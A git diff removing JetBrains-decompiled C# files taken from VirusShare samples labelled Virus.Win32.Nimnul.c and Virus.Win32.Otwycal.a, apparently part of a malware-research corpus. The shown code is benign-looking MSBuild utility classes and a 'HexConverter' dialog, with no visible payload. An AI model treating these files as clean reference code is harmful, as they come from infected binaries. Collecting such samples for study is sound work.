MSB1023: Cannot read the response file. {0} - - - MSBUILD : error MSB1011: Specify which project or solution file to use because this folder contains more than one project or solution file. - - - MSBUILD : Logger error MSB1029: {0} - - - MSBUILD : error MSB1007: Specify a logger. - - - MSBUILD : error MSB1008: Only one project can be specified. - - - MSBUILD : error MSB1019: Logger switch was not correctly formed. - - - MSBUILD : error MSB1012: Specify a response file. - - - For switch syntax, type "MSBuild /help" - - - MSBUILD : error MSB1026: Schema file does not exist. - - - Switch: {0} - - - MSBUILD: Logger error {0}: {1} - - - MSBUILD : error MSB1004: Specify the name of the target. - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyLoadInfo.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyLoadInfo.cs deleted file mode 100644 index dc4b4db7..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyLoadInfo.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.AssemblyLoadInfo -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -namespace Microsoft.Build.Shared -{ - internal sealed class AssemblyLoadInfo - { - private string assemblyName; - private string assemblyFile; - - private AssemblyLoadInfo() - { - } - - internal AssemblyLoadInfo(string assemblyName, string assemblyFile) - { - ErrorUtilities.VerifyThrow(assemblyName != null && assemblyName.Length > 0 || assemblyFile != null && assemblyFile.Length > 0, "We must have either the assembly name or the assembly file/path."); - ErrorUtilities.VerifyThrow(assemblyName == null || assemblyFile == null, "We must not have both the assembly name and the assembly file/path."); - this.assemblyName = assemblyName; - this.assemblyFile = assemblyFile; - } - - internal string AssemblyName => this.assemblyName; - - internal string AssemblyFile => this.assemblyFile; - - public override string ToString() - { - if (this.assemblyName != null) - { - ErrorUtilities.VerifyThrow(this.assemblyFile == null, "We cannot have both the assembly name and the assembly file/path."); - return this.assemblyName; - } - ErrorUtilities.VerifyThrow(this.assemblyFile != null, "We must have either the assembly name or the assembly file/path."); - return this.assemblyFile; - } - - public override int GetHashCode() => this.ToString().GetHashCode(); - - public override bool Equals(object obj) - { - if (obj == null || !(obj is AssemblyLoadInfo)) - return false; - AssemblyLoadInfo assemblyLoadInfo = (AssemblyLoadInfo) obj; - return this.AssemblyName == assemblyLoadInfo.AssemblyName && this.AssemblyFile == assemblyLoadInfo.AssemblyFile; - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyResources.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyResources.cs deleted file mode 100644 index fce267d4..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/AssemblyResources.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.AssemblyResources -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using System.Globalization; -using System.Reflection; -using System.Resources; - -namespace Microsoft.Build.Shared -{ - internal static class AssemblyResources - { - private static readonly ResourceManager resources = new ResourceManager("MSBuild.Strings", Assembly.GetExecutingAssembly()); - - internal static string GetString(string name) => AssemblyResources.resources.GetString(name, CultureInfo.CurrentUICulture); - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ErrorUtilities.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ErrorUtilities.cs deleted file mode 100644 index 9a412285..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ErrorUtilities.cs +++ /dev/null @@ -1,193 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.ErrorUtilities -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using System; - -namespace Microsoft.Build.Shared -{ - internal static class ErrorUtilities - { - private static void ThrowInternalError( - bool showAssert, - string unformattedMessage, - params object[] args) - { - throw new InternalErrorException(ResourceUtilities.FormatString(unformattedMessage, args), showAssert); - } - - internal static void VerifyThrowNoAssert(bool condition, string unformattedMessage) - { - if (condition) - return; - ErrorUtilities.ThrowInternalError(false, unformattedMessage, (object[]) null); - } - - internal static void VerifyThrow(bool condition, string unformattedMessage) - { - if (condition) - return; - ErrorUtilities.ThrowInternalError(true, unformattedMessage, (object[]) null); - } - - internal static void VerifyThrow(bool condition, string unformattedMessage, object arg0) - { - if (condition) - return; - ErrorUtilities.ThrowInternalError(true, unformattedMessage, arg0); - } - - internal static void VerifyThrow( - bool condition, - string unformattedMessage, - object arg0, - object arg1) - { - if (condition) - return; - ErrorUtilities.ThrowInternalError(true, unformattedMessage, arg0, arg1); - } - - internal static void VerifyThrow( - bool condition, - string unformattedMessage, - object arg0, - object arg1, - object arg2) - { - if (condition) - return; - ErrorUtilities.ThrowInternalError(true, unformattedMessage, arg0, arg1, arg2); - } - - internal static void VerifyThrow( - bool condition, - string unformattedMessage, - object arg0, - object arg1, - object arg2, - object arg3) - { - if (condition) - return; - ErrorUtilities.ThrowInternalError(true, unformattedMessage, arg0, arg1, arg2, arg3); - } - - private static void ThrowInvalidOperation(string resourceName, params object[] args) => throw new InvalidOperationException(ResourceUtilities.FormatResourceString(resourceName, args)); - - internal static void VerifyThrowInvalidOperation(bool condition, string resourceName) - { - if (condition) - return; - ErrorUtilities.ThrowInvalidOperation(resourceName, (object[]) null); - } - - internal static void VerifyThrowInvalidOperation( - bool condition, - string resourceName, - object arg0) - { - if (condition) - return; - ErrorUtilities.ThrowInvalidOperation(resourceName, arg0); - } - - internal static void VerifyThrowInvalidOperation( - bool condition, - string resourceName, - object arg0, - object arg1) - { - if (condition) - return; - ErrorUtilities.ThrowInvalidOperation(resourceName, arg0, arg1); - } - - internal static void VerifyThrowInvalidOperation( - bool condition, - string resourceName, - object arg0, - object arg1, - object arg2) - { - if (condition) - return; - ErrorUtilities.ThrowInvalidOperation(resourceName, arg0, arg1, arg2); - } - - private static void ThrowArgument( - Exception innerException, - string resourceName, - params object[] args) - { - throw new ArgumentException(ResourceUtilities.FormatResourceString(resourceName, args), innerException); - } - - internal static void VerifyThrowArgument(bool condition, string resourceName) => ErrorUtilities.VerifyThrowArgument(condition, (Exception) null, resourceName); - - internal static void VerifyThrowArgument(bool condition, string resourceName, object arg0) => ErrorUtilities.VerifyThrowArgument(condition, (Exception) null, resourceName, arg0); - - internal static void VerifyThrowArgument( - bool condition, - string resourceName, - object arg0, - object arg1) - { - ErrorUtilities.VerifyThrowArgument(condition, (Exception) null, resourceName, arg0, arg1); - } - - internal static void VerifyThrowArgument( - bool condition, - Exception innerException, - string resourceName) - { - if (condition) - return; - ErrorUtilities.ThrowArgument(innerException, resourceName, (object[]) null); - } - - internal static void VerifyThrowArgument( - bool condition, - Exception innerException, - string resourceName, - object arg0) - { - if (condition) - return; - ErrorUtilities.ThrowArgument(innerException, resourceName, arg0); - } - - internal static void VerifyThrowArgument( - bool condition, - Exception innerException, - string resourceName, - object arg0, - object arg1) - { - if (condition) - return; - ErrorUtilities.ThrowArgument(innerException, resourceName, arg0, arg1); - } - - internal static void VerifyThrowArgumentOutOfRange(bool condition, string parameterName) - { - if (!condition) - throw new ArgumentOutOfRangeException(parameterName); - } - - internal static void VerifyThrowArgumentLength(string parameter, string parameterName) - { - ErrorUtilities.VerifyThrowArgumentNull((object) parameter, parameterName); - if (parameter.Length == 0) - throw new ArgumentException(ResourceUtilities.FormatResourceString("Shared.ParameterCannotHaveZeroLength", (object) parameterName)); - } - - internal static void VerifyThrowArgumentNull(object parameter, string parameterName) - { - if (parameter == null) - throw new ArgumentNullException(ResourceUtilities.FormatResourceString("Shared.ParameterCannotBeNull", (object) parameterName), (Exception) null); - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/InternalErrorException.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/InternalErrorException.cs deleted file mode 100644 index 70c2b8c2..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/InternalErrorException.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.InternalErrorException -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using System; - -namespace Microsoft.Build.Shared -{ - internal sealed class InternalErrorException : Exception - { - internal InternalErrorException() - { - } - - internal InternalErrorException(string message) - : base("Internal MSBuild Error: " + message) - { - this.ShowAssertDialog(true); - } - - internal InternalErrorException(string message, bool showAssert) - : base("Internal MSBuild Error: " + message) - { - this.ShowAssertDialog(showAssert); - } - - internal InternalErrorException(string message, Exception innerException) - : base("Internal MSBuild Error: " + message, innerException) - { - } - - private void ShowAssertDialog(bool showAssert) - { - int num = showAssert ? 1 : 0; - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/LoadedType.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/LoadedType.cs deleted file mode 100644 index 07f3fcd8..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/LoadedType.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.LoadedType -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using System; - -namespace Microsoft.Build.Shared -{ - internal sealed class LoadedType - { - private Type type; - private AssemblyLoadInfo assembly; - - private LoadedType() - { - } - - internal LoadedType(Type type, AssemblyLoadInfo assembly) - { - ErrorUtilities.VerifyThrow((object) type != null, "We must have the type."); - ErrorUtilities.VerifyThrow(assembly != null, "We must have the assembly the type was loaded from."); - this.type = type; - this.assembly = assembly; - } - - internal Type Type => this.type; - - internal AssemblyLoadInfo Assembly => this.assembly; - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/QuotingUtilities.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/QuotingUtilities.cs deleted file mode 100644 index 0b3dafd9..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/QuotingUtilities.cs +++ /dev/null @@ -1,125 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.QuotingUtilities -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using System.Collections; -using System.Text; - -namespace Microsoft.Build.Shared -{ - internal static class QuotingUtilities - { - private static readonly char[] splitMarker = new char[1]; - - internal static ArrayList SplitUnquoted( - string input, - int maxSplits, - bool keepEmptySplits, - bool unquote, - out int emptySplits, - params char[] separator) - { - ErrorUtilities.VerifyThrow(maxSplits >= 2, "There is no point calling this method for less than two splits."); - string str1 = new StringBuilder().Append(separator).ToString(); - ErrorUtilities.VerifyThrow(str1.IndexOf('"') == -1, "The double-quote character is not supported as a separator."); - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.EnsureCapacity(input.Length); - bool flag = false; - int num1 = 0; - int num2 = 1; - for (int index = 0; index < input.Length && num2 < maxSplits; ++index) - { - switch (input[index]) - { - case char.MinValue: - continue; - case '"': - stringBuilder.Append('"'); - if (num1 % 2 == 0) - { - if (flag && index < input.Length - 1 && input[index + 1] == '"') - { - stringBuilder.Append('"'); - ++index; - } - flag = !flag; - } - num1 = 0; - continue; - case '\\': - stringBuilder.Append('\\'); - ++num1; - continue; - default: - if (!flag && (str1.Length == 0 && char.IsWhiteSpace(input[index]) || str1.IndexOf(input[index]) != -1)) - { - stringBuilder.Append(char.MinValue); - if (++num2 == maxSplits) - stringBuilder.Append(input, index + 1, input.Length - (index + 1)); - } - else - stringBuilder.Append(input[index]); - num1 = 0; - continue; - } - } - ArrayList arrayList = new ArrayList(); - emptySplits = 0; - foreach (string input1 in stringBuilder.ToString().Split(QuotingUtilities.splitMarker, maxSplits)) - { - string str2 = unquote ? QuotingUtilities.Unquote(input1) : input1; - if (str2.Length > 0 || keepEmptySplits) - arrayList.Add((object) str2); - else - ++emptySplits; - } - return arrayList; - } - - internal static ArrayList SplitUnquoted(string input, params char[] separator) => QuotingUtilities.SplitUnquoted(input, int.MaxValue, false, false, out int _, separator); - - internal static string Unquote(string input, out int doubleQuotesRemoved) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.EnsureCapacity(input.Length); - bool flag = false; - int repeatCount = 0; - doubleQuotesRemoved = 0; - for (int index = 0; index < input.Length; ++index) - { - switch (input[index]) - { - case '"': - stringBuilder.Append('\\', repeatCount / 2); - if (repeatCount % 2 == 0) - { - if (flag && index < input.Length - 1 && input[index + 1] == '"') - { - stringBuilder.Append('"'); - ++index; - } - flag = !flag; - ++doubleQuotesRemoved; - } - else - stringBuilder.Append('"'); - repeatCount = 0; - break; - case '\\': - ++repeatCount; - break; - default: - stringBuilder.Append('\\', repeatCount); - stringBuilder.Append(input[index]); - repeatCount = 0; - break; - } - } - return stringBuilder.Append('\\', repeatCount).ToString(); - } - - internal static string Unquote(string input) => QuotingUtilities.Unquote(input, out int _); - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ResourceUtilities.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ResourceUtilities.cs deleted file mode 100644 index 20b0a997..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/ResourceUtilities.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.ResourceUtilities -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using System; -using System.Globalization; -using System.Text.RegularExpressions; - -namespace Microsoft.Build.Shared -{ - internal static class ResourceUtilities - { - private static readonly Regex msbuildMessageCodePattern = new Regex("^\\s*(?MSB\\d\\d\\d\\d):\\s*(?.*)$", RegexOptions.Singleline); - - internal static string ExtractMessageCode( - Regex messageCodePattern, - string messageWithCode, - out string code) - { - code = (string) null; - string messageCode = messageWithCode; - if (messageCodePattern == null) - messageCodePattern = ResourceUtilities.msbuildMessageCodePattern; - Match match = messageCodePattern.Match(messageWithCode); - if (match.Success) - { - code = match.Groups["CODE"].Value; - messageCode = match.Groups["MESSAGE"].Value; - } - return messageCode; - } - - private static string GetHelpKeyword(string resourceName) => "MSBuild." + resourceName; - - internal static string FormatResourceString( - out string code, - out string helpKeyword, - string resourceName, - params object[] args) - { - helpKeyword = ResourceUtilities.GetHelpKeyword(resourceName); - return ResourceUtilities.ExtractMessageCode((Regex) null, ResourceUtilities.FormatString(AssemblyResources.GetString(resourceName), args), out code); - } - - internal static string FormatResourceString(string resourceName, params object[] args) => ResourceUtilities.FormatResourceString(out string _, out string _, resourceName, args); - - internal static string FormatString(string unformatted, params object[] args) - { - string str = unformatted; - if (args != null && args.Length > 0) - str = string.Format((IFormatProvider) CultureInfo.CurrentCulture, unformatted, args); - return str; - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/TypeLoader.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/TypeLoader.cs deleted file mode 100644 index 3e8aee5d..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Shared/TypeLoader.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.Shared.TypeLoader -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Reflection; - -namespace Microsoft.Build.Shared -{ - internal class TypeLoader - { - private Dictionary> cacheOfAllDesiredTypesInAnAssembly = new Dictionary>(); - private TypeFilter isDesiredType; - - internal TypeLoader(TypeFilter isDesiredType) - { - ErrorUtilities.VerifyThrow(isDesiredType != null, "need a type filter"); - this.isDesiredType = isDesiredType; - } - - internal LoadedType Load(string typeName, AssemblyLoadInfo assembly) - { - Type type1 = (Type) null; - List typeList = (List) null; - this.cacheOfAllDesiredTypesInAnAssembly.TryGetValue(assembly, out typeList); - if (assembly.AssemblyName != null && typeName.Length > 0) - { - if (typeList == null) - { - try - { - type1 = Type.GetType(typeName + "," + assembly.AssemblyName, false, true); - } - catch (ArgumentException ex) - { - } - } - } - if ((object) type1 != null) - { - if (!this.isDesiredType(type1, (object) null)) - return (LoadedType) null; - } - else - { - if (typeList == null) - { - Assembly assembly1; - try - { - assembly1 = assembly.AssemblyName == null ? Assembly.LoadFrom(assembly.AssemblyFile) : Assembly.Load(assembly.AssemblyName); - } - catch (ArgumentException ex) - { - throw new FileNotFoundException((string) null, assembly.ToString(), (Exception) ex); - } - Type[] exportedTypes = assembly1.GetExportedTypes(); - typeList = new List(); - foreach (Type m in exportedTypes) - { - if (this.isDesiredType(m, (object) null)) - typeList.Add(m); - } - this.cacheOfAllDesiredTypesInAnAssembly[assembly] = typeList; - } - foreach (Type type2 in typeList) - { - if (typeName.Length == 0 || TypeLoader.IsPartialTypeNameMatch(type2.FullName, typeName)) - { - type1 = type2; - break; - } - } - } - return (object) type1 != null ? new LoadedType(type1, assembly) : (LoadedType) null; - } - - internal static bool IsPartialTypeNameMatch(string typeName1, string typeName2) - { - bool flag = false; - if (typeName1.Length != typeName2.Length) - { - string str1; - string str2; - if (typeName1.Length > typeName2.Length) - { - str1 = typeName1; - str2 = typeName2; - } - else - { - str1 = typeName2; - str2 = typeName1; - } - if (str1.EndsWith(str2, StringComparison.OrdinalIgnoreCase)) - { - int num1 = str1.Length - str2.Length; - if (str1[num1 - 1] == '.' || str1[num1 - 1] == '+') - { - int num2 = 0; - for (int index = num1 - 2; index >= 0 && str1[index] == '\\'; --index) - ++num2; - if (num2 % 2 == 0) - flag = true; - } - } - } - else - flag = string.Compare(typeName1, typeName2, StringComparison.OrdinalIgnoreCase) == 0; - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/ThisAssembly.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/ThisAssembly.cs deleted file mode 100644 index 679a2ba2..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/ThisAssembly.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ThisAssembly -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -internal static class ThisAssembly -{ - internal const string Title = "MSBuild.exe"; - internal const string Description = "MSBuild.exe"; - internal const string DefaultAlias = "MSBuild.exe"; - internal const string Copyright = "© Microsoft Corporation. All rights reserved."; - internal const string Version = "2.0.0.0"; - internal const string InformationalVersion = "2.0.50727.1433"; - internal const int DailyBuildNumber = 50727; -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.csproj b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.csproj deleted file mode 100644 index edcf1c9a..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.csproj +++ /dev/null @@ -1,59 +0,0 @@ - - - - - Debug - AnyCPU - {85671DEF-2305-4524-8CA7-903D921D84FB} - Exe - MSBuild - 2.0.0.0 - Microsoft.Build - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.sln b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.sln deleted file mode 100644 index 665d9e30..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/Virus.Win32.Nimnul.c.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MSBuild", "Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.csproj", "{85671DEF-2305-4524-8CA7-903D921D84FB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {85671DEF-2305-4524-8CA7-903D921D84FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {85671DEF-2305-4524-8CA7-903D921D84FB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {85671DEF-2305-4524-8CA7-903D921D84FB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {85671DEF-2305-4524-8CA7-903D921D84FB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/AssemblyInfo.cs b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/AssemblyInfo.cs deleted file mode 100644 index 447f8ec5..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyProduct("HexConverter")] -[assembly: AssemblyCompany("")] -[assembly: Guid("881db35c-f058-4d44-9c11-2645a440c120")] -[assembly: AssemblyCopyright("Copyright © 2008")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("HexConverter")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.cs b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.cs deleted file mode 100644 index 6e04c82d..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/DialogBox.cs +++ /dev/null @@ -1,132 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HexConverter.DialogBox -// Assembly: HexConverter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 69C743DF-5670-4BA1-B9C9-0F7A066F699A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace HexConverter -{ - public class DialogBox : Form - { - private int count; - private IContainer components; - private PictureBox pictureBox1; - private Button button1; - private Label label1; - private RichTextBox richTextBox1; - private Timer timer1; - private Label label2; - - public DialogBox() => this.InitializeComponent(); - - private void button1_Click(object sender, EventArgs e) => this.Close(); - - private void DialogBox_Load(object sender, EventArgs e) - { - this.count = 0; - this.timer1.Enabled = true; - } - - private void timer1_Tick(object sender, EventArgs e) - { - if (this.count == 0) - this.label2.Text = "Made by Axdx"; - else if (this.count == 1) - this.label2.Text = "Made by aXdx"; - else if (this.count == 2) - this.label2.Text = "Made by axDx"; - else if (this.count == 3) - { - this.label2.Text = "Made by axdX"; - } - else - { - this.label2.Text = "Made by axdx"; - this.count = -1; - } - ++this.count; - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.components = (IContainer) new Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (DialogBox)); - this.pictureBox1 = new PictureBox(); - this.button1 = new Button(); - this.label1 = new Label(); - this.richTextBox1 = new RichTextBox(); - this.timer1 = new Timer(this.components); - this.label2 = new Label(); - ((ISupportInitialize) this.pictureBox1).BeginInit(); - 